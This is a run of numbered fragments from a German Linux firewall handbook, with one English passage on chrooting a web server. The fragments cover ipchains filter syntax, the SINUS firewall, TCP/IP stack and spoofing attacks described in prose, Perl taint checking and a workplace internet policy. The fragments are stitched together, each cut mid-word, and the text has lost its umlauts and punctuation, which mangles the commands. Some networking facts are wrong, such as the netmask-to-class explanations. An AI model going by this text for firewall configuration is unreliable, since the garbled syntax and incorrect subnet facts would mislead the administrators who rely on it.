345. h neu zu kompilieren Siehe hierzu auch das Kapitel ber Fallstricke bei den Kernel Optionen Dieses Kapitel sollte man besonders aufmerksam durchlesen Der Grund warum hier trotz komfortabler Installationsroutinen der Distributionen die wichtigen Einzelheiten einer Installation noch einmal aufgef hrt sind liegt darin begr ndet da fast alle Distributionen LINUX so konfigurieren da hier f r den User alle m glichen Funktionen aktiviert sind Jede dieser Funktionen stellt ein Sicherheitsrisiko dar W hrend man viele der Funktionen entfernt kann es passieren da man versehentlich auch Teile der Basiskonfiguration in Mitleidenschaft zieht Dieses Kapitel und das Kapitel ber ipfwadm erm glichen die Installation der Basisfunktionen per Hand also ohne irgendein Toolkit eines Distributors LINUX ist LINUX 22 1 Kompilierung des Kernel Es k nnte sein da nach der Installation von LINUX eventuell die zweite Netzwerkkarte noch nicht erkannt wird Durch die individuelle Einstellung des Kernel kann man noch einige weitere wichtige Dinge beeinflussen Detaillierte Informationen insbesondere zum Kernel V 2 2 gibt es im Kapitel Kernel Optionen Wir gehen davon aus da noch keine Unterst tzung f r Netzwerkkarten besteht Hierzu mu man den Kernel neu konfigurieren und kompilieren Der Vorgang ist nicht so kompliziert wie es klingt Vorteil ist aber da der Kernel schneller ist und zus tzlichen Schutz vor einigen Angriffen bietet E
346. hains A input s 192 168 1 1 Diese Regel z hlt alle Pakete von dem Host 192 168 1 1 mit Der Befehl ipchains L v zeigt die Summe von Bytes und Paketen an die das Interface passiert haben nachdem die Regel zutreffend war Es l t sich somit nach Port Zieladresse und Quelladresse das Datenaufkommen z hlen Es gibt sechs spezielle Anweisungen Die ersten drei sind bereits bekannt diese sind ACCEPT REJECT und DENY ACCEPT besagt das das Paket passieren kann DENY verwirft das Paket in aller Stille REJECT verwirft das Paket ebenso generiert aber eine ICMP Nachricht Code Nummer 3 Die vierte ist die Anweisung MASQ Sie beauftragt den Kernel die Absendeadresse also die Quell IP Nummer durch die IP Nummer des eingehenden Interfaces zu ersetzen Hier zu mu der Kernel mit der Option masquerading kompiliert worden sein F r die genaue Beschreibung siehe den Abschnitt Unterschiede zwischen ipchains und ipfwadm Diese Anweisung ist nur zul ssig f r Pakete die die forward chain durchlaufen Der Zweck dieser Regel ist es interne IP Nummern nicht in das Internet zu verraten um einem Angreifer m glichst wenig Informationen ber die Zahl und den Ort der Hosts im Intranet zu verraten Die f nfte Anweisung ist die Option REDIRECT Diese besagt da der Kernel das Paket auf einen lokalen Port umleiten soll Diese Anweisung wird nur f r TCP und UDP Pakete ausgef hrt Als Erg nzung kann nach der
347. hend entscheiden ob er Gegenma nahmen ergreifen mu Hier sehen Sie ein kleines Beispiel der leistungsf higen Programmiersprache der SINUS Firewall Erstellt von Doc Gonzo http kickme to plugins Name JICHKSATAN Check for SATAN if satanping sourcehost gt 0 then if satanrpce sourcehost gt 0 then message SATAN attack blocking access for 10 minutes block all from sourcehost notification_level 0 timeout 600 spy report endif j endif B O Cancel Abbildung SINUS Satan Detector 15 10 Grenzen der SINUS Firewall 1 Beim momentanen Stand der Sicherheit besitzen viele Organisationen oder Unternehmen weder ein Sicherheitskonzept noch besitzen diese irgendeinen Schutz auf der Basis der Paket berwachung Besonders kritisch wird es wenn als Clients veraltete Programme im Einsatz sind Netscape Internet Explorer Dasselbe betrifft veraltete Server im Netz deren bekannte Sicherheitsprobleme nicht beseitigt wurden Die Firewall kann selbstverst ndlich auch keine Pakete berwachen die nicht ber die Firewall selber laufen beispielsweise ber einen Host mit eigenem Internet Anschlu Jede Firewall Software egal ob sie mit kleinen Fehlern behaftet ist wird die momentane Sicherheitssituation in einem Unternehmen gravierend verbessern k nnen Dasselbe trifft auch auf Bereiche innerhalb eines Unternehmens zu z B zur Absicherung der unternehmensweiten Datenbanken oder einzelnen Abteilungen Die Sch
348. hlt sich aus FreeBSD und NetBSD sind ebenfalls als relativ sicher zu betrachten da diese ebenfalls von dem code review bei OpenBSD profitiert haben Die kommerzielle Version der BSD Betriebssysteme BSDI konnte ebenso davon profitieren soda man sagen kann alle BSD Varianten sind inzwischen weitestgehend bullet proof Es gibt zwar auch Ausnahmen die sind aber relativ selten Aus diesem Grund setzen ausnahmslos gro e Content Anbieter Yahoo HotMail Netscape ftp cdrom com tucows com BSD 4 4 UNIX oder Solaris ein LINUX Erstellt von Doc Gonzo http kickme to plugins LINUX hat inzwischen alle Negativ Rekorde gebrochen Die gr te Anzahl aller Exploits sind auf LINUX f r LINUX geschrieben worden ein Tribut an die gro e Verbreitung und die rasanten Entwicklungsfortschritte Es gibt aber erhebliche Unterschiede bei den Distributionen W hrend RedHat viel Wert auf schnell verf gbare Patches legt und dort wo es geht BSD D monen einsetzt qpop exploit unter RedHat 5 0 war nicht anwendbar unter S u S E 5 3 LINUX schon legt S u S E erheblich mehr Aufwand in die Funktionalit t insbesondere von ISDN Security Patches werden von S u S E oft erst ein paar Tage nach RedHat bereitgestellt Grunds tzlich sind die Unterschiede zwischen allen Distributionen aber eher klein Ein gro er Vorteil von LINUX ist da schon wenige Stunden nach der Meldung eines Sicherheitsproblems PING o Death 30 Minuten die Fehlerkorrek
349. host oder www intra net Der dritte und vierte Weg sind die Angaben der Netzwerk Gruppen Hier k nnen Adressen wie 10 0 0 0 24 oder 192 168 0 0 8 gemacht werden Die Angaben mit einem 24 16 oder 8 bezeichnen die signifikanten Bits von rechts aus gesehen 24 bedeutet da die letzen 3 Zahlen variiert werden d rfen also alle IP Nummern von 10 0 0 1 bis 10 254 254 254 verwendet werden d rfen was dann einem Class C Netz entspricht 16 Erstellt von Doc Gonzo http kickme to plugins bezeichnet ein CLASS B Netzwerk und 8 ein CLASS C Netzwerk mit 254 freien IP Nummern Die Bezeichnung 0 steht f r jede IP Nummer ipchains A input s 0 0 j DENY Alternativ kann dann auch die Angabe s 0 0 entfallen Invertierung von Adressen Vielen Flags inklusive den Flags s und d kann ein vorangestellt werden welches ein logisches nicht bedeutet Dementsprechend bezeichnet ein s localhost jedes Paket welches nicht von dem localhost stammt Filterung von Ports Ein Protokolle kann mit dem p Flag angegeben werden Das Protokoll kann entweder eine Zahl oder eine Bezeichnung f r ein Protokoll sein Diese sind in der Datei etc services angegeben Beispiele sind ICMP IGMP IPX TCP UDP Es wird intern nicht zwischen GroB und Kleinschreibung unterschieden Der Protokollname kann ebenfalls invertiert werden Bezeichnungen wie p TCP bezeichnen alle Protokolle auBer dem TCP Protokoll Filterung von Portbere
350. host in der DMZ Aufgrund der Zuordnung IP Adresse zu fragmentierten Paketen l t sich direkt ablesen ob ein solcher Angriff stattfindet oder ob es nur ein gew hnliches Paket aus dem Internet ist Zugegeben die Erstellung der Regeln ist nicht gerade trivial aber es ist unerl lich diese Angriffsmethoden zu kennen wenn man es mit Profis zu tun bekommt 12 10 Interne Abl ufe der Firewall Hier nur ein berblick dar ber welche Prozesse innerhalb der Firewall stattfinden 1 Der Bytecounter f r jede Regel wird um die Gr e des Headers oder des Gesamtpaketes erh ht Der Paketz hler wird erh ht Es wird auf Wunsch ein Logeintrag vorgenommen Auf Wunsch wird der TCP Header mit dem ToS Feld ver ndert Auf Wunsch wird ein Paket in einer Liste vermerkt nicht in der Version 2 0 Die Anweisungen nach der Regel werden analysiert um zu entscheiden was mit dem Paket passieren soll DaN Regel Anweisungen Die Regel Anweisungen sind f r den Kernel bestimmt damit dieser dar ber informiert ist was mit dem Paket zu geschehen hat auf welches eine Regel zutrifft ipchains benutzt hierbei die Option j jump to f r die Angabe einer Ziels Der Name des Ziels darf nur max 8 Buchstaben lang sein wobei Gro und Kleinschreibung unterschieden wird Die Einfachste Anweisung ist diejenige wo kein Ziel angegeben wird Diese wird oft auch accounting rule genannt weil sie nur zum Z hlen von Paketen dem Accounting geeignet ist ipc
351. htet Das Makrovirus Melissa ist ein gutes Beispiel f r eine neue Generation von Angriffswerkzeugen die ber fast jede Firewall hinweg tunneln Hier kurz ein vollst ndiges Listing des scharfen Melissa Virus Man kann davon ausgehen das dieses Virus so verbreitet ist da das Listing hier auch keinen weiteren Schaden anrichten kann Wer sich ein wenig im Code umschaut der wird feststellen da dieses Macrovirus zuerst die Sicherheitseinstellungen ausschaltet um dann v llig ungehindert auf System und Erstellt von Doc Gonzo http kickme to plugins Userdateien auch unter Windows NT 4 0 SP5 und Server zugereifen kann Dasselbe betrifft auch eine im Kapitel Backoffice aufgezeigte M glichkeit eines Angriffs SQL Server und die darin enthaltenen Daten auszulesen Dieses Virus ist noch relativ harmlos es ist aber auch ohne Probleme denkbar da dieser sich zuerst im Netzwerk verbreitet und dann die Festplatten s mtlicher Arbeitsstationen neu formatiert Hierzu bedarf es nur des Hinzuf gens einer einzigen Zeile Fast alle Virenscanner erkennen Teile dieses Melissa Codes und beseitigen bzw sperren dieses Virus Bei entsprechender Modifikation der f r Virenscanner erkennungsrelevanten Teile des Virus Gro Kleinscreibung Variablennamen Leerzeichen hat sich erwiesen da es immer noch m glich ist dieses Virus in Netzwerke einzuschleusen Gezielte Angriffe auf Datenbest nde im Netzwerk hinter der Firewall sind somit zu jeder Ze
352. i ISP s zum Schutz von Servern oder Netzwerken mit Hochgeschwindigkeitsanbindung gt 100 MBit Diese Eigenschaften lassen vermuten da hierbei einige wichtige berpr fungen nicht stattfinden um die Durchsatzgeschwindigkeit zu erh hen Die Hersteller gehen davon aus da der TCP IP Stack der Server hinter der Firewall diese Untersuchungen sowieso durchf hrt Das hat in der j ngsten Vergangenheit zu zahlreichen Angriffen auf TCP IP Stacks hinter SPF Firewalls gef hrt insbesondere bei Internet Dienstleistern Stateful Paket Filter verf gen gegen ber Firewall Routern zus tzlich ber einen Mechanismus der sobald eine Verbindung ge ffnet wird in die Pakete hineinschaut Inspektion den Status Herkunft Ziel belegte Ports MAC Adresse Sequenznummern Offsets Protokolle Befehle speichert und berwacht Sie erkennen Zusammenh nge zwischen TCP und UDP Paketen RPC NFS u s w Durch die berwachung des Status und die Inspektion werden viele Angriffe unm glich die bei Firewall Routern noch funktionieren Angriffe auf TCP IP Stacks k nnen sie nur zum Teil abwehren im allgemeinen funktionieren viele DoS Angriffe auf TCP IP Stacks hinter SPF Firewalls recht gut sehr zum Leidwesen einiger ISP s Aus diesen Gr nden haben f hrende Hersteller zus tzlich zu den SPF Filtern noch PROXY Eigenschaften f r spezielle Dienste also auch noch eigene TCP IP Stacks den Firewalls hinzuf gen m ssen Aktiviert man aber alle Schutzmechanismen un
353. ibutoren aus dem Internet oder aus Zeitschriften Ct aufgebaut wurden Firewalls die auf BSD Systemen oder Solaris aufsetzen besitzen oft eine hohe Qualit t und sind sehr sicher auch gegen Bedienungsfehler e Firewalls auf UNIX Basis mit eigenem TCP IP Stack Diese Firewalls sind oft identisch mit denen auf NT Basis ohne eigenen TCP IP Stack Sie arbeiten unter UNIX schneller e Firewalls mit eigenem Betriebssystem Viele dieser Firewalls benutzen FreeBSD Borderware BSDI Borderware Genua Wall Linux Watchguard TIS FWTK GNATwall Hinter einigen kommerziellen Firewalls steckt UNIX weil es wenn man es auf die wesentlich Funktionen reduziert auf eine Diskette pa t Zu erw hnen ist noch CISCO PIX welche auf IOS l uft einer Eigenentwicklung von CISCO Da es viele Mischformen von Firewalls gibt sollte man sich doch genauer informieren welche der Eigenschaften den Anforderungen am meisten entgegenkommt 23 2 Angriffe auf den TCP IP Stack Angriffe auf den TCP IP Stack sind gegenw rtig die Ursache von immensen Ausf llen bei ISP s und innerhalb des Netzwerkes von Unternehmen Verantworlich sind hierbei h ufig mangelhafte TCP IP Stacks in Servern und Routern die empfindlich auf defekte Netzwerkkarten und speziell konstruierte TCP IP Pakete reagieren Diese Pakete werden von Programmen erzeugt die im Internet im Quellcode und als Windows Programm ver ffentlicht werden Diese werden exploits genannt und sind im BUGTRAQ Archiv zu
354. ichen F r den Spezialfall da TCP oder UDP als Protokoll angegeben werden kann ein weiteres Argument angegeben werden namlich ein Bereich von Ports Siehe auch Fragmentierte IP Pakete Ein Bereich wird mit dem Zusatz 6000 6010 oder auch nur 1023 bezeichnet Die Syntax lautet dann p TCP s 0 0 0 0 0 1023 fiir ein Paket welches als Quellport einen Port unterhalb von 1024 eingetragen hat Auch hier k nnen die Portbereiche invertiert werden Das Beispiel p TCP d 0 0 0 0 0 www bezeichnet alle Ports die nicht Port 80 entsprechen Man sollte auch stets auf die Position des Ausrufezeichens achten Die Bezeichnung p TCP d 192 168 1 1 www unterscheidet sich von p TCP d 192 168 1 1 www Das erste Beispiel bezeichnet ein Paket welches an alle Hosts auf Port 80 au er dem bestimmten Host adressiert werden darf Im zweiten Fall darf nur dieser Host adressiert werden aber nicht auf Port 80 Zum Schu bleibt noch die Kl rung folgender Bezeichnung p TCP d 192 168 1 1 www Dieses bezeichnet ein Paket welches an alle Hosts au er dem bestimmten Host adressiert werden darf und dort auf alle Ports zugreifen darf au er dem Port 80 Generell gilt da alle Angaben die hintereinander erfolgen ein logisches und implizieren Erstellt von Doc Gonzo http kickme to plugins Filterung von ICMP ICMP besitzt zwar Optionen als Argument diese bezeichnen aber keine Portnummern sondern beziehen sich auf Codes Eine Inverti
355. icht mehr korrekt durchf hrt Pakete so konstruieren da mehrere simultane genau vorher berechnete Sequenzen dann durch die Firewall tunneln k nnen wenn eine der Sequenzen ein RST oder FIN enth lt Die bis dahin im Eingangsbuffer des TCP IP Stacks eingegangenen Pakete werden also als Pakete mit korrekter Pr fsumme betrachtet und vom u eren Filter outbound an den inneren Filter inbound bergeben den diese Pakete dann auch sofern sie korrekt berechnet wurden berqueren k nnen Alle anderen Hilfspakete werden dann schon am u eren Filter gel scht sie haben dann aber schon ihren Zweck erf llt Um diesen Angriff ausf hren zu k nnen mu der Angreifer sich sehr nahe an der Firewall selber befinden da es hierbei auf exaktes Timing im Millisekundenbereich oder weniger ankommt Spoofing Erstellt von Doc Gonzo http kickme to plugins Besonders beliebt ist ein Angriff der ein wenig der Mithilfe einer Arbeitsstation im Netzwerk bedarf Hierzu sendet man an einen beliebigen Benutzer in einem Unternehmen unter einem Vorwand ein Programm welches dieser dann startet Was er nicht wei da dieses Programm mit der gespooften vorget uschten Adresse eines Servers oder der Firewall eine Verbindung zu einem Server im Internet aufbaut Die Firewall in Erwartung eines Datenstromes von diesem Server als Antwort l t somit Pakete eines Angreifers die an die Firewall oder einen Server im gesch tzten Netzwerk adressiert sind pas
356. ie Kontaminierung ist nur mit einzelnen skalaren Werten verbunden und nicht mit gr eren Datenstrukturen So k nnen bei einer Liste einige Elemente kontaminiert sein w hrend andere davon frei sind 30 6 Beispiele der Absicherung von PERL Skripten Hier nun folgen ein paar Beispiele wie man die bergabeparameter an Skipte filtern kann usr local bin perl Tw He my filename shift ARGV tainted unless filename w die Invalid filename filename n filename 1 no longer tainted open OUT gt filename Il OK die Unable to open filename n 1 Mit Klammern erfa te Teile eines regul ren Ausdrucks werden als frei von Kontaminierung betrachtet selbst wenn die Zeichenkette die dem regul ren Ausdruck zugef hrt wurde kontaminiert ist 2 Damit ist es m glich Zeichenketten nach einer berpr fung gegen einen regul ren Ausdruck normal zu verwenden 3 Nat rlich mu darauf geachtet werden da dies nicht versehentlich geschieht Erstellt von Doc Gonzo http kickme to plugins 4 Wenn ein regul rer Ausdruck nicht der Sicherheits berpr fung dient und erkannte Teile davon verwendet werden sollten sie ggf als kontaminiert gekennzeichnet werden Hier nun ein Beispiel wie man gezielt eine Parameter bzw eine Variable als verdorben kennzeichnet if address use Taint qw taint user 1 domain 2 if tainted address taint user taint d
357. ieren kann Wie k nnte also ein Angreifer mit UDP Unheil stiften Ein solcher Angriff ist komplexer als man denkt aber einfach zu zeigen Wer mit einem lteren Netscape oder IE Browser animierte GIF Bilder betrachtet der wird bemerken da hier GIF Bilder schnell hintereinander angezeigt werden Problematisch wird dies erst dann wenn das Format der Bilder pl tzlich gr er wird Der intern vom Browser reservierte Speicherplatz f r die Animation reicht dann pl tzlich nicht mehr aus Ist das Bild gen gend gro werden eventuell wichtige Bereiche im RAM der Arbeitsstation berschrieben Ein sogenannter schwerer Ausnahmefehler wo da die Ausnahme ist wei wahrscheinlich Microsoft selber nicht tritt auf In den meisten F llen ist dieses Problem mit einem Absturz verbunden Wird jedoch die Bytefolge im GIF Bild so gew hlt da sich ein sinnvolles Programm dahinter verstecken kann dann kann der Angreifer hier ber auf der Arbeitsstation beliebige Programme starten Diesen Effekt nennt man buffer overflow und ist im Prinzip bei allen Protokollen TCP sowie UDP m glich Hier wurde der Effekt anhand einer GIF Animation aufgezeigt dieser Effekt kann aber auch bei REAL VIDEO Sequenzen DNS Paketen NFS oder RPC Paketen o auftreten Gelingt es einem Angreifer also in einen UDP Datenstrom mit gespooften Paketen eigene Daten einzuschleusen dann kann er viel Unheil anstiften Aus diesem Grunde ist bei RPC NFS DNS Datenpaketen immer gro
358. ile are useful So I copied the HP versions of them and took the shared library and dynamic loader that I needed for them Thus on an HP system you need to copy lib libe sl and lib dld sl into wtree lib For file you also need magic which you should put in wtree etc It is also useful to create a symbolic link from bash to sh and from gawk to awk in wtree bin Note pretending that bash is sh is quite functional however on HP UX the system C function wants bin posix sh Trying to fool it with a link to bash won t work I was compiling glimpse for our web tree and it uses lots of inane system calls So I was forced to copy bin posix sh into wtree bin posix PLEASE NOTE place COPIES of files in the web tree do not use hard links Otherwise why are you bothering to chroot the tree Anyway the web tree should be able to live on any disk hard links can t Make the wtree dev null device file Copy any needed networking files into wtree etc the following should do from your host s etc tree By all means make these files as minimal as possible hosts resolv conf the DNS resolver file and maybe nsswitch conf Naming Server fall over file useful with NIS Now go and compile the daemon httpd staticly Also make staticly linked versions of cgiparse and cgiutils Copy all of these into wtree bin Make any additional directory structure that you will need in your web tree for example w
359. iligen Interfaces k nnen somit keine normalen Protokolle mehr bertragen Beim Einsatz von ENskip m ssen keine Anderungen bei der Software vorgenommen werden F r den Aufbau von VPN s ist ENskip hervorragend geeignet S KEY S KEY ist ein System welches mit verschl sselten Einmal Pa worten arbeitet Jedes Pa wort aus einer Liste ist nur einmal g ltig und verf llt nach einem erfolgreichen Login Versuch Es ist einfach zu installieren OPIE OPIE arbeitet hnlich SSH Erstellt von Doc Gonzo http kickme to plugins 14 17 Erweiterungen in der SINUS Firewall Die Firewall besteht im wesentlichen aus diesen Komponenten e Das Kernel filter module ist ein nachladbares Modul welches zu Laufzeit des Kernels eingef gt nicht aber entfernt werden kann Von diesem Zeitpunkt an ist das filter module fest mit dem Bertriebssystemkern verbunden e Der Firewall D mon kann und sollte als unprivilegierter Userprozess gestartet werden Dessen einzige Aufgabe ist es ber das firewall device mit dem filter module zu kommunizieren und Meldungen in Logfiles zu schreiben Er stellt das Interface f r das sfc Programm zu verf gung sowie das Interface f r die Kommunikation mit anderen Firewalls e Der firewall super daemon l uft als privilegierter Prozess Er besitzt keinerlei andere Aufgaben au er im Falle eines crash oder auf Befehl der Konfigurationssoftware nach reconfigure den Firewall D mon neu zu starten e
360. ilt Ohne Angabe des Konfigurationsfiles wird die Datei etc firewall conf als default Konfiguration angenommen Starten der Firewall Die Firewall wird mit sfc start firewall conf gestartet je nachdem wie das Konfigurationsfile benannt wurde sind auch andere Namen zul ssig Das Startkommando berpr ft ob der Firewall D mon l uft und liest dann das Konfigurationsfile ein Stop der Firewall Um den Firewall D mon zu stoppen gen gt die Eingabe von sfc stop In diesem Moment wird jeder Datenverkehr unterbrochen und es werden alle Interfaces blockiert Dies dient der Sicherheit bei einem Fehler im Betriebssystem Erstellt von Doc Gonzo http kickme to plugins Nun kann eventuell die Firewall mit einer neuen Konfiguration gestartet werden die dann sofort wieder einsatzbereit ist Ein Reboot sollte nicht stattfinden Es existiert aber noch ein reconfig Befehl Achtung Problematisch wird es dann wenn der Firewall D mon mit rmmod entladen wird In diesem Moment greifen die Standardeinstellungen des Kernels Er leitet dann alle Pakete zwischen den Interfaces weiter Die Rekonfiguration der Firewall In einigen F llen k nnte es gew nscht sein automatisch zwischen verschiedenen Firewallkonfigurationen zu wechseln Beispielsweise k nnte an Samstagen und Sonntagen somit der Aufbau einer Internet Verbindung verboten sein In diesem Falle sollte man den cron D mon bem hen der folgende Befehle ausf hrt sfc stop s
361. ind dann doch sehr vielf ltig Sie reichen von DoS bis hin zu m glichen buffer overflow Angriffen und einem Effekt der nur bei wenigen Firewalls Paketfiltern auftritt n mlich zu Fehlfunktionen bei den dynamischen Filterregeln wenn die Leistungsf higkeit ihre Grenze erreicht Konkreten Angriffen geht oft eine Vielzahl solcher Untersuchungen voraus Viele Firewall Hersteller lassen sich zertifizieren d h die Firewall wird auf solche Probleme neben vielen anderen berpr ft Eine solche detaillierte Pr fung welches das BSI http www bsi bund de von Siemens hat erstellen lassen zeigt das inzwischen alle Firewall Hersteller diese Probleme beseitigt haben leider lassen sich aber Reaktionen auf komplexe dynamische Firewallregeln unter Vollast nicht testen Die Zahl der m glichen sinnvollen Kombinationen bei TCP IP Angriffen allein liegt ber 130 Wenn also eine Firewall komplexe Regelwerke abzuarbeiten hat steigt die Wahrscheinlichkeit dramatisch da ein DoS Angriff erfolgreich ist Filtert man zu wenige Pakete so ist die Wahrscheinlichkeit eines Einbruchs oder DoS Angriffs auf Server dahinter sehr hoch Diese Angriffsvarianten lassen sich mit o a Werkzeugen simulieren Sie sind Bestandteil von guten Security Scannern Warum besonders bei den Microsoft Betriebssystemen 95 98 und NT solche Probleme immer noch in so gro er Zahl auftreten bleibt ein offenes Geheimnis DoS Angiffe ber ICMP IGMP Themen e ICMP Source Quench
362. ine Pa wortdatei die also dann im Verzeichnis etc userxy chroot etc liegen mu Man mu also die Pa wortdatei aus etc in dieses Verzeichnis kopieren damit der D mon korrekt arbeiten kann Dasselbe betrifft auch die Logdateien des D mons Diese m ten dann in dem Verzeichnis home userxy var log zu finden sein Falls der D mon mit dynamischen Bibliotheken shared libraries kompiliert wurde was viel RAM sparen kann so mu er auch auf die entsprechenden Libraries in den Verzeichnissen home userxy lib oder home userxy chroot usr lib Zugriff haben Das bedeutet da man den D mon entweder mit der Option static in der Datei Makefile neu kompiliert und dann in der chroot Umgebung startet oder man alle Libraries in die chroot Umgebung kopieren mu Aber keine Panik ein einfaches Kopieren mit dem Befehl cp p r reicht aus damit die Dateirechte auch original mit bertragen werden Die Firma SUN hat seit einiger Zeit fast alle wichtigen D monen statisch kompiliert und mit einer chroot Funktion ausgestattet In sofern ist SUN allen anderen UNIXen zumindest LINUX jedenfalls weit voraus Programme von Fremdherstellern jedenfalls sind noch nicht so weit Das bedeutet da auch beim Einsatz von Trusted Solaris dieselben Probleme auftreten wie mit LINUX Man kommt um eine berpr fung der UNIX D monen bei keinem UNIX herum Mit dem Kernel 2 2 hat sich LINUX aber sehr an BSD UNIX angepa t Es lassen sich alle BSD UNIX D monen
363. inem P 100 gut bedient 9 Aufbau der LINUX Firewall mit ipfwadm ipfwadm ist das erste Firewall Toolkit von JOS VOS Nederlanden gewesen welches LINUX mit Firewallf higkeiten ausgestattet hat Danach wurden eine Zahl von Proxy s f r spezielle Proxy s geschrieben Das Toolkit ist urspr nglich f r die Kernelversionen 2 0 geschrieben worden Angesichts der Entwicklung von ipchains wurde die Weiterentwicklung von IPFWADM eingestellt Wer also noch eine ltere LINUX Version besitzt der kann sich viel Geld sparen indem er keine neue LINUX Distribution kauft und seine Firewall mit IPFWADM installiert Nachteile gibt es keine Auch Anwender von IPCHAINS sollte sich durchaus dieses Kapitel durchlesen da es noch einige wertvolle Tips enth lt die im Kapitel ipchains nicht noch einmal aufgef hrt sind 9 1 Auswahl von Hard und Software Dieser Abschnitt behandelt den Aufbau einer LINUX Firewall f r ein Unternehmen Als Basis dient ein GPL RedHat Linux 5 2 6 0 Es ist kostenlos und u erst komfortabel zu installieren und zu administrieren Zudem ist es auch in deutscher Sprache verf gbar F r Anf nger sehr empfehlenswert ist die neue CALDERA OpenLINUX Distribution und insbesondere auch EASYLINUX Wer jedoch die SINUS Firewall 1 einsetzen m chte der mu momentan noch LINUX 2 0 Kernel einsetzen was bedeutet da er eine alte LINUX Distribution einsetzen mu RedHat 5 2 6 0 inzwischen zwar veraltet hat jedoch einen Vorteil Es l
364. inen erh hten Pflegeaufwand bedeutet DoS ber VLAN s hinweg VLAN s werden gerne in gr eren Unternehmen eingesetzt um verschiedene Abteilungen voneinander abzutrennen Hierzu werden oft Switches eingesetzt die dann die einzelnen Netzwerkstrange durch VLAN s logisch voneinander trennen Jeder Netzwerkstrang erh lt dann seine eigene Netzwerkadresse Die Arbeitsstationen im einem VLAN k nnen mit denjenigen anderer VLAN s gew hnlich nicht mehr kommunizieren VLAN s bilden eine Broadcast Domain soda alle Broadcasts an Arbeitsstationen im VLAN nicht in andere VLAN s bermittelt werden Hierzu erh lt im Prinzip jeder Netzwerkstrang seine eigene Gateway Adresse vom Switch zugeteilt so als ob hier der Switch als Router arbeiten w rde Leider gibt es hier ein gr eres Problem Gespoofte Pakete also Pakete mit vorget uschter Adresse aus einem anderen VLAN lassen sich immer noch an Hosts in anderen Netzwerken senden Auch wenn von dort keine Antwortpakete zur ckkommen ist immer noch ein DoS Angriff auf den TCP IP Stack von Hosts m glich Da der Switch ber einen eigenen TCP IP Stack verf gt sind viele der TCP IP DoS Angriffe auf den Stack des Switches m glich Dos Angriffe ber Router Manipulationen Themen Source routing Mi brauch von Servern f r Routing RIP session hijacking Sniffen des SMNP community strings Ist ein Angreifer mit einem trojanischen Pferd erst einmal in ein Netzwerk vorgedrungen hat er gro
365. inen Sinn ergeben IRulel p ICMP REJECT Rulel s 192 168 1 1 Rule2 p TCP j Test IRule2 d 192 168 1 1 Man denke sich ein TCP Paket welches als Quell IP Nummer die Adresse 192 168 1 1 besitzt und an die Adresse 1 2 3 4 gerichtet ist Es betritt die input chain und wird von Regel Nummer 2 als Zutreffend erkannt Danach wechselt es zur test chain Hier trifft die Regel Nummer 1 bereits zu aber es ist keine Anweisung definiert Danach durchl uft das Paket die test chain bis zum Ende und kehrt wieder in die input chain zur ck Hier passiert das Paket die Regel Nummer 3 die aber ebenfalls nicht zutrifft Was danach mit dem Paket passieren soll beschreibt die Policy Ein kleines Diagramm v input Z Lest v u IH H Rulel l l Rulel I Well E Rule2 Rule2 IH Ve Rule3 ER ici teas Sheet ee see v In dem Abschnitt Organisation der Firewallregeln werden Wege beschrieben wie man User definierte chains effizient einsetzen kann Erstellt von Doc Gonzo http kickme to plugins Logging packets Ein Nebeneffekt der Paketfilterung ist das Mitloggen von Paketen falls die Regel mit der Option I definiert wurde Nun werden alle Pakete mit protokolliert Hierf r mu der Kernel Log D mon aktiviert werden klogd In den Handb chern man klogd oder man dmesg werden die Eigenschaften genauer beschrieben Manipulationen im Paket Header Es gibt insgesamt vi
366. iner JAVA Version vor soda sichergestellt ist da in Zukunft auch alle Betriebssysteme unterst tzt werden Die verwendeten Ports entsprechen denen von X Windows es wird jedoch nicht das RPC Protokoll eingesetzt Eine einfache Freischaltung der Ports von 6000 600x je nach Zahl der Clients auf der Firewall gen gt Es sollte auch nicht unerw hnt bleiben da die Folgekosten des Einsatzes der LINUX GRAPHICAL WALL erheblich geringer sind Der Grund liegt darin da keinerlei Folgekosten f r Lizenzen f r Virenscanner Neu Nachinstallationen von Software auf Windows Clients entstehen Die LINUX GRAPHICAL WALL ist bereits erfolgreich bei zahlreichen Banken und Versicherungen im Einsatz Das System arbeitet stabil und ohne besondere Probleme In normalen Unternehmen ist die LINUX GRAPHICAL WALL f r den Einsatz in den Bereichen Buchf hrung Gesch ftsleitung pr destiniert also immer da wo die Clients besonderen Gefahren durch Viren trojanische Pferde Active X Applets ausgesetzt sind Wer in einem Unternehmen bereits stukturierte Verkabelung mit intelligenten aktiven Erstellt von Doc Gonzo http kickme to plugins Komponenten eingef hrt hat der kann mit Hilfe von V LAN s bestimmte Arbeitspl tze im Unternehmen sicher mit Hilfe der LINUX GRAPHICAL WALL gegen Angriffe absichern Warum noch niemand auf diese Idee gekommen ist Nun man kann kein Geld damit verdienen daher ist die Konstruktion in dieser Art verworfe
367. iner Datei aus dem Internet gestartet worden sein Dieser Vorgang ist immer abzubrechen Der Download von Software aus dem Internet ist verboten Viele Server im Internet bieten Dokument im PDF PostSkript oder in einem anderen Format z B WinWord Excel Powerpoint ZIP EXE COM mp3 oder anderen Formaten an Der Download aller Dateien ist verboten Ausnahme Dateien die mit PDF enden Falls Sie das Gef hl haben jemand m chte die Aufmerksamkeit beim Surfen gezielt auf eine bestimmte WWW Seite lenken so ist dies dem Systemadministrator unverz glich mitzuteilen sofern hinter dieser Information ein Au enstehender stecken k nnte Im Zweifelsfalle hat der Benutzer sich fernm ndlich dar ber zu vergewissern was hinter diesem Hinweis stecken k nnte Es ist in einem solchen Fall der Systemadministrator zu informieren Erstellt von Doc Gonzo http kickme to plugins 4 Einige Browser FTP Programme oder Editoren unterst tzen das Uploaden von Software oder Daten auf einen Server im Internet Diese Funktion darf nur von Mitarbeitern benutzt werden die ausdr cklich und offiziell mit der Betreuung des WWW Servers beauftragt sind Zeit und Datum eines Uploads ist immer dem Systemadministrator per E Mail mitzuteilen E Mail Regeln 1 Eingehende E Mail mit Anhang egal von welchem Absender diese stammt und in welchem Format dieser Anhang gespeichert wurde ist unbedingt und unverz glich an den Systemadministrator weiterzuleiten und
